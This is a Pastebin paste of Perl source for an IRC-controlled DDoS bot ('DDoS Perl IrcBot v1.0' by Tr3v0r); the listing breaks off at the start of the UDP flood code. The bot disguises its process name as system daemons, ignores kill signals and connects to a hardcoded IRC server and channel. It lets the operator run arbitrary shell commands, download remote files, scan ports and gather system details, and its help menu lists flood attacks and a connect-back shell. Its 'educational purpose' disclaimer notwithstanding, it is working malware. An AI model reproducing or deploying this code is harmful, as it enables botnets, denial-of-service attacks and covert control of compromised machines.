Advertisement
Tr3v0r12345

Bot Irc Codec By Tr3v0r

Jul 18th, 2014
4,657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Per 38.99 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ######################################################################################################################
  4. ######################################################################################################################
  5. ## ------ DDoS Perl IrcBot v1.0 /- 2012 by Tr3v0r ------       ## [ Help ] ###########################################
  6. ##      Stealth MultiFunctional IrcBot Code By Tr3v0r          #######################################################
  7. ##        Teste on every system with PERL instlled             ##  !u @system                                       ##
  8. ##                                                             ##  !u @version                                      ##
  9. ##     This is a free program used on your own risk.           ##  !u @channel                                      ##
  10. ##        Created for educational purpose only.                ##  !u @flood                                        ##
  11. ## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##
  12. ######################################################################################################################
  13. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
  14. ######################################################################################################################
  15. ##  !u @join <#channel>          ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
  16. ##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
  17. ##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
  18. ##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
  19. ##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
  20. ##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
  21. ##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
  22. ##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
  23. ##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
  24. ##  !u !quit                     ##                                           ##                                    ##
  25. ##  !u !uaw                      ##                                           ##                                    ##
  26. ##  !u @die                      ##                                           ##                                    ##
  27. ##                               ##                                           ##                                    ##
  28. ######################################################################################################################
  29. ######################################################################################################################
  30.  
  31. #############################
  32. ##### [ Configuration ] #####
  33. #############################
  34.  
  35. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  36.            "/usr/sbin/httpd -k start -DSSL",
  37.            "/usr/sbin/httpd",
  38.            "/usr/sbin/sshd -i",
  39.            "/usr/sbin/sshd",
  40.            "/usr/sbin/sshd -D",
  41.            "/usr/sbin/apache2 -k start",
  42.            "/sbin/syslogd",
  43.            "/sbin/klogd -c 1 -x -x",
  44.            "/usr/sbin/acpid",
  45.            "/usr/sbin/cron");
  46. my $process = $rps[rand scalar @rps];
  47.  
  48. my @rversion = ("\001VERSION - unknown command.\001",
  49.                 "\001mIRC v5.91 K.Mardam-Bey\001",
  50.                 "\001mIRC v6.2 Khaled Mardam-Bey\001",
  51.                 "\001mIRC v6.03 Khaled Mardam-Bey\001",
  52.                 "\001mIRC v6.14 Khaled Mardam-Bey\001",
  53.                 "\001mIRC v6.15 Khaled Mardam-Bey\001",
  54.                 "\001mIRC v6.16 Khaled Mardam-Bey\001",
  55.                 "\001mIRC v6.17 Khaled Mardam-Bey\001",
  56.                 "\001mIRC v6.21 Khaled Mardam-Bey\001",
  57.                 "\001mIRC v6.31 Khaled Mardam-Bey\001",
  58.                 "\001mIRC v7.15 Khaled Mardam-Bey\001");
  59. my $vers = $rversion[rand scalar @rversion];
  60.  
  61. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  62.                 "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  63.                 "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  64.                 "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  65.                 "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  66.                 "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  67.                 "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  68.                 "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  69.                 "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  70.                 "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  71.                 "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  72.                 "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  73.                 "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  74.                 "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  75.                 "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  76.                 "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  77.                 "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  78.                 "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  79.                 "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  80.                 "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  81.                 "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  82.                 "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  83.                 "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  84.                 "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  85.                 "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  86.                 "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  87.                 "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  88.                 "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  89.                 "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  90.                 "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  91.                 "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  92.                 "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  93.                 "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  94.                 "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  95.                 "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  96.                 "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  97.                 "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  98.                 "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  99.                 "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  100.                 "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  101.                 "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  102.                 "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  103.                 "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  104.                 "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  105.                 "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  106.                 "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  107.                 "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  108.                 "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  109.                 "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  110.                 "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  111.                 "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  112.                 "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  113.                 "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  114.                 "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  115.                 "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  116.                 "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  117.                 "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  118.                 "zwsiew","zwsiewale");
  119.  
  120. my $ircname = $rircname[rand scalar @rircname];
  121.  
  122. ## my @rrealname = ("4,1[ DDoS Security Team ]",
  123. ##                  "4,1 /!\ DDoS Security Team /!\ ",
  124. ##                  "12,1<///8,1///4,1###>",
  125. ##                  "2,1---=== 4,1 DDoS Security Team 2,1===---");
  126. ## chop (my $realname = $rrealname[rand scalar @rrealname]);
  127.  
  128. chop (my $realname = $rircname[rand scalar @rircname]);
  129.  
  130. ## my @nickname = ("DDoS[U]");
  131. ## my $nick =$nickname[rand scalar @nickname];
  132.  
  133. $ircserver   = "irc.afternet.org";
  134. my $ircport     = "6667";
  135. my $nickname    = "botScan";
  136. my $ident       = "botScan";
  137. my $channel     = "#trevor";
  138. my $runner      = "Runner";
  139. my $fullname    = 'New Scanner ByroeNet';
  140.  
  141.  
  142. #################################################################
  143. ##### [ Stop Editing if you dont know what are you doing. ] #####
  144. #################################################################
  145.  
  146. $SIG{'INT'} = 'IGNORE';
  147. $SIG{'HUP'} = 'IGNORE';
  148. $SIG{'TERM'} = 'IGNORE';
  149. $SIG{'CHLD'} = 'IGNORE';
  150. $SIG{'PS'} = 'IGNORE';
  151.  
  152. use Socket;
  153. use IO::Socket;
  154. use IO::Socket::INET;
  155. use IO::Select;
  156.  
  157. chdir("$homedir");
  158.  
  159. $server="$ARGV[0]" if $ARGV[0];
  160. $0="$process"."\0"x16;;
  161. my $pid=fork;
  162. exit if $pid;
  163. die "Can't fork in background: $!" unless defined($pid);
  164.  
  165. our %irc_servers;
  166. our %DCC;
  167. my $dcc_sel = new IO::Select->new();
  168. $sel_cliente = IO::Select->new();
  169. sub sendraw {
  170.   if ($#_ == '1') {
  171.     my $socket = $_[0];
  172.     print $socket "$_[1]\n";
  173.   } else {
  174.     print $IRC_cur_socket "$_[0]\n";
  175.   }
  176. }
  177.  
  178. sub getstore ($$)
  179. {
  180.   my $url = shift;
  181.   my $file = shift;
  182.   $http_stream_out = 1;
  183.   open(GET_OUTFILE, "> $file");
  184.   %http_loop_check = ();
  185.   _get($url);
  186.   close GET_OUTFILE;
  187.   return $main::http_get_result;
  188. }
  189.  
  190. sub _get
  191. {
  192.   my $url = shift;
  193.   my $proxy = "";
  194.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  195.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  196.     my $host = $1;
  197.     my $port = $2 || 80;
  198.     my $path = $3;
  199.     $path = "/" unless defined($path);
  200.     return _trivial_http_get($host, $port, $path);
  201.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  202.     my $host = $1;
  203.     my $port = $2;
  204.     my $path = $url;
  205.     return _trivial_http_get($host, $port, $path);
  206.   } else {
  207.     return undef;
  208.   }
  209. }
  210.  
  211.  
  212. sub _trivial_http_get
  213. {
  214.   my($host, $port, $path) = @_;
  215.   my($AGENT, $VERSION, $p);
  216.   $AGENT = "get-minimal";
  217.   $VERSION = "20000118";
  218.   $path =~ s/ /%20/g;
  219.  
  220.   require IO::Socket;
  221.   local($^W) = 0;
  222.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  223.                                    PeerPort => $port,
  224.                                    Proto   => 'tcp',
  225.                                    Timeout  => 60) || return;
  226.   $sock->autoflush;
  227.   my $netloc = $host;
  228.   $netloc .= ":$port" if $port != 80;
  229.   my $request = "GET $path HTTP/1.0\015\012"
  230.               . "Host: $netloc\015\012"
  231.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  232.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  233.   $request .= "\015\012";
  234.   print $sock $request;
  235.  
  236.   my $buf = "";
  237.   my $n;
  238.   my $b1 = "";
  239.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  240.     if ($b1 eq "") {
  241.       $b1 = $buf;
  242.       $buf =~ s/.+?\015?\012\015?\012//s;
  243.     }
  244.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  245.   }
  246.   return undef unless defined($n);
  247.   $main::http_get_result = 200;
  248.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  249.     $main::http_get_result = $1;
  250.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  251.       my $url = $1;
  252.       return undef if $http_loop_check{$url}++;
  253.       return _get($url);
  254.     }
  255.     return undef unless $main::http_get_result =~ /^2/;
  256.   }
  257.  
  258.   return $buf;
  259. }
  260.  
  261. sub conectar {
  262.   my $meunick = $_[0];
  263.   my $server_con = $_[1];
  264.   my $port_con = $_[2];
  265.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  266.   PeerPort=>$port_con) or return(1);
  267.   if (defined($IRC_socket)) {
  268.     $IRC_cur_socket = $IRC_socket;
  269.     $IRC_socket->autoflush(1);
  270.     $sel_cliente->add($IRC_socket);
  271.     $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  272.     $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  273.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  274.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  275.     nick("$meunick");
  276.     sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  277.     sleep 1;
  278.   }
  279. }
  280.  
  281. my $line_temp;
  282. while( 1 ) {
  283.   while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  284.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  285.   my @ready = $sel_cliente->can_read(0);
  286.   next unless(@ready);
  287.   foreach $fh (@ready) {
  288.     $IRC_cur_socket = $fh;
  289.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  290.     $nread = sysread($fh, $msg, 4096);
  291.     if ($nread == 0) {
  292.       $sel_cliente->remove($fh);
  293.       $fh->close;
  294.       delete($irc_servers{$fh});
  295.     }
  296.     @lines = split (/\n/, $msg);
  297.     for(my $c=0; $c<= $#lines; $c++) {
  298.       $line = $lines[$c];
  299.       $line=$line_temp.$line if ($line_temp);
  300.       $line_temp='';
  301.       $line =~ s/\r$//;
  302.       unless ($c == $#lines) {
  303.         parse("$line");
  304.         } else {
  305.         if ($#lines == 0) {
  306.           parse("$line");
  307.           } elsif ($lines[$c] =~ /\r$/) {
  308.           parse("$line");
  309.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  310.           parse("$line");
  311.         } else {
  312.       $line_temp = $line;
  313.         }
  314.       }
  315.     }
  316.   }
  317. }
  318.  
  319. sub parse {
  320.   my $servarg = shift;
  321.   if ($servarg =~ /^PING \:(.*)/) {
  322.     sendraw("PONG :$1");
  323.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  324.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  325.     if ($args =~ /^\001VERSION\001$/) {
  326.          notice("$pn", "".$vers."");
  327.     }
  328.     if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  329.     if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  330.     if ($onde eq "$meunick"){
  331.     shell("$pn", "$args");
  332.   }
  333.   if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  334.     my $natrix = $1;
  335.     my $arg = $2;
  336.     if ($arg =~ /^\!(.*)/) {
  337.       ircase("$pn","$onde","$1");
  338.       } elsif ($arg =~ /^\@(.*)/) {
  339.       $ondep = $onde;
  340.       $ondep = $pn if $onde eq $meunick;
  341.       bfunc("$ondep","$1");
  342.       } else {
  343.       shell("$onde", "$arg");
  344.     }
  345.   }
  346. }
  347. }
  348. }
  349.  
  350. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  351.   if (lc($1) eq lc($meunick)) {
  352.   $meunick=$4;
  353.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  354.   }
  355.   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  356.   nick("$meunick-".int rand(9999));
  357.   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  358.   $meunick = $2;
  359.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  360.   $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  361.   foreach my $canal (@channels) {
  362.     sendraw("MODE $nick +x");
  363.     sendraw("JOIN $canal");
  364.     sendraw("PRIVMSG $canal :4,1 [DDoS Perl Bot] 9,1Hello, I`m Ready To Serve ... ");
  365. }
  366. }
  367. }
  368.  
  369. sub bfunc {
  370. my $printl = $_[0];
  371. my $funcarg = $_[1];
  372.   if (my $pid = fork) {
  373.   waitpid($pid, 0);
  374.   } else {
  375.   if (fork) {
  376.   exit;
  377.   } else {
  378. ###########################
  379. ##### [ Help Module ] #####
  380. ###########################
  381.  
  382. if ($funcarg =~ /^help/) {
  383.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  384.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help:  ");
  385.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  386.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");
  387.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");
  388.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");  
  389.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");
  390.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");  
  391.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  392. }
  393.  
  394. if ($funcarg =~ /^system/) {
  395.     $uptime=`uptime`;
  396.     $ownd=`pwd`;
  397.     $id=`id`;
  398.     $uname=`uname -srp`;
  399.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  400.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration:  ");
  401.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  402.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server       : 12$server ");
  403.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port         : 12$port ");
  404.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels     : 12@channels ");
  405.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a     : 12$uname ");
  406.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime       : 12$uptime ");
  407.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess  : 12$process ");
  408.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID   : 12$$ ");
  409.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID           : 12$id ");
  410.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir      : 12$ownd ");
  411.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  412. }
  413.  
  414. if ($funcarg =~ /^version/){
  415.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  416.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations:                  ");
  417.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  418.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version   ");
  419.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS             ");
  420.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012                ");
  421.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  422. }
  423.  
  424. if ($funcarg =~ /^flood/) {
  425.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  426.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  427.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  428.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time>               ");
  429.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time>        ");
  430.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time>               ");
  431.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time>  ");
  432.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time>                    ");
  433.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick>                      ");
  434.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick>                       ");
  435.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick>                    ");
  436.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  437. }
  438.  
  439. if ($funcarg =~ /^channel/) {
  440.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  441.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help:     ");
  442.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  443.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel>            ");
  444.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel>            ");
  445.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel>          ");
  446.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick>       ");
  447.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick>     ");
  448.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick>    ");
  449.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick>  ");
  450.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick>            ");
  451.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick>                ");
  452.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit                      ");
  453.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die                       ");
  454.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  455. }
  456.  
  457. if ($funcarg =~ /^utils/) {
  458.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  459.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help:                            ");
  460.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  461.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>                              ");   
  462.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>                     ");   
  463.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message>  ");
  464.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>                                       ");   
  465.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>                               ");
  466.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>                                  ");   
  467.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)                               ");
  468.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  469. }
  470.  
  471. #########################
  472. ##### [ Functions ] #####
  473. #########################
  474.  
  475. if ($funcarg =~ /^die/) {
  476.     sendraw($IRC_cur_socket, "QUIT :");
  477.     $killd = "kill -9 ".fork;
  478.     system (`$killd`);
  479. }
  480. ###########
  481. if ($funcarg =~ /^join (.*)/) {
  482.     sendraw($IRC_cur_socket, "JOIN ".$1);
  483. }
  484.  
  485. if ($funcarg =~ /^part (.*)/) {
  486.     sendraw($IRC_cur_socket, "PART ".$1);
  487. }
  488. ###########
  489. if ($funcarg =~ /^portscan (.*)/) {
  490.   my $hostip="$1";
  491.   my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  492.   my (@aberta, %porta_banner);
  493.   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  494.   foreach my $porta (@portas)  {
  495.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  496.     if ($scansock) {
  497.       push (@aberta, $porta);
  498.       $scansock->close;
  499.     }
  500.   }
  501.   if (@aberta) {
  502.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  503.     } else {
  504.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  505.   }
  506. }
  507. ##############
  508. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  509.     getstore("$1", "$2");
  510.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  511. }
  512. ##############
  513. if ($funcarg =~ /^dns\s+(.*)/){
  514.     my $nsku = $1;
  515.     $mydns = inet_ntoa(inet_aton($nsku));
  516.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  517. }
  518. ##############
  519. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  520.     my $hostip= "$1";
  521.     my $portsc= "$2";
  522.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  523.     if ($scansock) {
  524.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  525.     }
  526.     else {
  527.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  528.     }
  529. }
  530. ##############
  531. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  532.     return unless $pacotes;
